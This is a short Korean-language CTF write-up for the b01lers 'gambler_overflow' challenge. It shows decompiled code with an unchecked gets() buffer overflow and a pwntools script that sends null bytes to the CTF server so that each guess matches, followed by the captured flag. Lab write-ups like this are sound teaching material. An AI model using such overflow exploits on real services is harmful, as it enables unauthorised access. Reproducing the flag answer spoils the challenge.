[b01lers CTF] gambler_overflow

1. 문제

overflow 사용했습니다. 모두 null로 채웠습니다.

void casino(void)

{
  int iVar1;
  long in_FS_OFFSET;
  int local_24;
  char local_20 [8];
  char local_18 [8];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("Welcome to the casino! A great prize awaits you when you hit 1000 coins ;)");
  memset(local_18,0,8);
  memset(local_20,0,8);
  do {
    if ((int)balance < 1) goto LAB_00101745;
    printf("Your current balance: %d\n",(ulong)balance);
    local_24 = 0;
    while (local_24 < 4) {
      iVar1 = rand();
      local_18[local_24] = (char)iVar1 + (char)(iVar1 / 0x1a) * -0x1a + 'a';
      local_24 = local_24 + 1;
    }
    printf("Guess me a string of length 4 with lowercase letters: ");
    gets(local_20);
    printf("Your guess: %s\n",local_20);
    printf("Correct word: %s\n",local_18);
    iVar1 = strcmp(local_18,local_20);
    if (iVar1 == 0) {
      printf("You won (wow)! +%d coins.\n",(ulong)bet_win);
      balance = bet_win + balance;
    }
    else {
      printf("Bummer, you lost. -%d coins.\n",(ulong)bet_loss);
      balance = balance - bet_loss;
    }
    if ((int)balance < 0) {
      puts("You lost your entire balance! Better luck next time...");
      goto LAB_00101745;
    }
  } while ((int)balance < 1000);
  give_flag();
LAB_00101745:
  puts("See you next time!");
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

2. 풀이

# -*- coding: utf-8 -*-

# 1. pwntools 임포트
from pwn import *

# 2. 로그를 보기 위해 debug 모드 세팅
context.log_level = 'debug'

# 4. nc 이용해서 원격 접속
p = remote('ctf.b01lers.com', 9203)

# 5. 메시지 입력
for _ in range(100):
    message = p.recvuntil("lowercase letters:")
    print('message', message)

    payload = "\x00" * 8
    
    p.sendline(payload)

# # 9. 결과 확인
result = p.recvall()
print('result', result)

3. flag

bctf{0v3rfl0w_w1th0ut_5m45h1ng}